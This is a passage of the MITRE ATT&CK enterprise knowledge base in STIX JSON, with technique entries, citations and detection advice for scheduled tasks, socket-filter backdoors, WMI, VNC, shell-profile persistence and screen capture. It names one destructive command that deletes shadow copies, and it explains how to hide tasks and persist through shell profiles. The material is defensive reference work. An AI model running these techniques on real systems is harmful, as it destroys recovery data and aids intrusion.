                    "description": "Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022.",
                    "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments"
                },
                {
                    "source_name": "Twitter Leoloobeek Scheduled Task",
                    "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.",
                    "url": "https://x.com/leoloobeek/status/939248813465853953"
                },
                {
                    "source_name": "Tarrask scheduled task",
                    "description": "Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"
                },
                {
                    "source_name": "Microsoft Scheduled Task Events Win10",
                    "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events"
                },
                {
                    "source_name": "TechNet Scheduled Task Events",
                    "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
                    "url": "https://technet.microsoft.com/library/dd315590.aspx"
                },
                {
                    "source_name": "Red Canary - Atomic Red Team",
                    "description": "Red Canary - Atomic Red Team. (n.d.). T1053.005 - Scheduled Task/Job: Scheduled Task. Retrieved June 19, 2024.",
                    "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "TechNet Forum Scheduled Task Operational Setting",
                    "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
                    "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"
                },
                {
                    "source_name": "SigmaHQ",
                    "description": "Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022.",
                    "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml"
                },
                {
                    "source_name": "Stack Overflow",
                    "description": "Stack Overflow. (n.d.). How to find the location of the Scheduled Tasks folder. Retrieved June 19, 2024.",
                    "url": "https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder"
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            "modified": "2025-04-15T19:58:01.010Z",
            "name": "Scheduled Task",
            "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) ",
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                "Selena Larson, @selenalarson",
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            "x_mitre_detection": "Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "Network Traffic: Network Traffic Flow",
                "Scheduled Job: Scheduled Job Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520",
            "created": "2022-09-30T21:18:41.930Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1205/002",
                    "external_id": "T1205.002"
                },
                {
                    "source_name": "exatrack bpf filters passive backdoors",
                    "description": "ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.",
                    "url": "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf"
                },
                {
                    "source_name": "crowdstrike bpf socket filters",
                    "description": "Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.",
                    "url": "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/"
                },
                {
                    "source_name": "Leonardo Turla Penquin May 2020",
                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.",
                    "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"
                },
                {
                    "source_name": "haking9 libpcap network sniffing",
                    "description": "Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.",
                    "url": "http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf"
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            "modified": "2025-04-15T23:09:39.651Z",
            "name": "Socket Filters",
            "description": "Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`.  Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
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                "Network Traffic: Network Connection Creation"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
            "created": "2017-05-31T21:30:54.176Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1066",
                    "external_id": "T1066"
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            "modified": "2025-04-25T15:15:04.223Z",
            "name": "Indicator Removal from Tools",
            "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.",
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            "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.",
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "created": "2020-02-20T21:01:25.428Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1560/001",
                    "external_id": "T1560.001"
                },
                {
                    "source_name": "WinRAR Homepage",
                    "description": "A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.",
                    "url": "https://www.rarlab.com/"
                },
                {
                    "source_name": "WinZip Homepage",
                    "description": "Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.",
                    "url": "https://www.winzip.com/win/en/"
                },
                {
                    "source_name": "7zip Homepage",
                    "description": "I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.",
                    "url": "https://www.7-zip.org/"
                },
                {
                    "source_name": "diantz.exe_lolbas",
                    "description": "Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Diantz/"
                },
                {
                    "source_name": "Wikipedia File Header Signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures"
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            "modified": "2025-04-15T21:51:23.078Z",
            "name": "Archive via Utility",
            "description": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems. \n\nOn Windows, <code>diantz</code> or <code> makecab</code> may be used to package collected files into a cabinet (.cab) file. <code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)",
            "kill_chain_phases": [
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                    "phase_name": "collection"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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                "Mark Wee"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_data_sources": [
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                "Command: Command Execution",
                "File: File Creation"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
            "created": "2020-02-11T18:28:44.950Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021/005",
                    "external_id": "T1021.005"
                },
                {
                    "source_name": "Attacking VNC Servers PentestLab",
                    "description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.",
                    "url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/"
                },
                {
                    "source_name": "MacOS VNC software for Remote Desktop",
                    "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.",
                    "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"
                },
                {
                    "source_name": "Havana authentication bug",
                    "description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved September 12, 2024.",
                    "url": "https://lists.openstack.org/pipermail/openstack/2013-December/004138.html"
                },
                {
                    "source_name": "macOS root VNC login without authentication",
                    "description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.",
                    "url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication"
                },
                {
                    "source_name": "Offensive Security VNC Authentication Check",
                    "description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.",
                    "url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/"
                },
                {
                    "source_name": "Gnome Remote Desktop grd-settings",
                    "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
                    "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207"
                },
                {
                    "source_name": "Gnome Remote Desktop gschema",
                    "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
                    "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in"
                },
                {
                    "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                    "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                    "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
                },
                {
                    "source_name": "VNC Vulnerabilities",
                    "description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.",
                    "url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/"
                },
                {
                    "source_name": "The Remote Framebuffer Protocol",
                    "description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.",
                    "url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2"
                },
                {
                    "source_name": "VNC Authentication",
                    "description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.",
                    "url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication"
                },
                {
                    "source_name": "Hijacking VNC",
                    "description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.",
                    "url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc"
                }
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            "modified": "2025-04-15T19:58:01.548Z",
            "name": "VNC",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC).  VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)",
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                    "phase_name": "lateral-movement"
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            ],
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            "x_mitre_detection": "Use of VNC may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\n\nOn macOS systems <code>log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"'</code> can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows",
                "macOS"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Logon Session: Logon Session Creation",
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "created": "2017-05-31T21:30:44.329Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1047",
                    "external_id": "T1047"
                },
                {
                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
                },
                {
                    "source_name": "Mandiant WMI",
                    "description": "Mandiant. (n.d.). Retrieved February 13, 2024.",
                    "url": "https://www.mandiant.com/resources/reports"
                },
                {
                    "source_name": "WMI 6",
                    "description": "Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"
                },
                {
                    "source_name": "WMI 1-3",
                    "description": "Microsoft. (2023, March 7). Retrieved February 13, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN"
                },
                {
                    "source_name": "WMI 7,8",
                    "description": "Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024.",
                    "url": "https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242"
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            "name": "Windows Management Instrumentation",
            "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.\n\nThe WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being \u201cdisabled by default\u201d on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)",
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "@ionstorm",
                "Olaf Hartong, Falcon Force",
                "Tristan Madani"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
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                "WMI: WMI Creation",
                "Command: Command Execution"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1156",
                    "external_id": "T1156"
                },
                {
                    "source_name": "intezer-kaiji-malware",
                    "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.",
                    "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:01.754Z",
            "name": "Malicious Shell Modification",
            "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use <code>/etc/profile</code> when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the <code>~/.bashrc</code> file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>. The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc<code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.",
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Robert Wilson",
                "Joe Gervais",
                "Tony Lambert, Red Canary"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /ect/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Apple\u2019s Security Endpoint Framework using the ES_EVENT_TYPE_NOTIFY_WRITE function for monitoring these specific files. \n",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "created": "2017-05-31T21:31:25.060Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1113",
                    "external_id": "T1113"
                },
                {
                    "source_name": "CopyFromScreen .NET",
                    "description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8"
                },
                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
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            "object_marking_refs": [
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            "modified": "2025-04-15T23:03:14.254Z",
            "name": "Screen Capture",
            "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n",
            "kill_chain_phases": [
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                    "phase_name": "collection"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939",
            "created": "2023-03-23T19:55:25.546Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1027/011",
                    "external_id": "T1027.011"
                },
                {
                    "source_name": "Aquasec Muhstik Malware 2024",
                    "description": " Nitzan Yaakov. (2024, June 4). Muhstik Malware Targets Message Queuing Services Applications. Retrieved September 24, 2024.",
                    "url": "https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/"
                },
                {
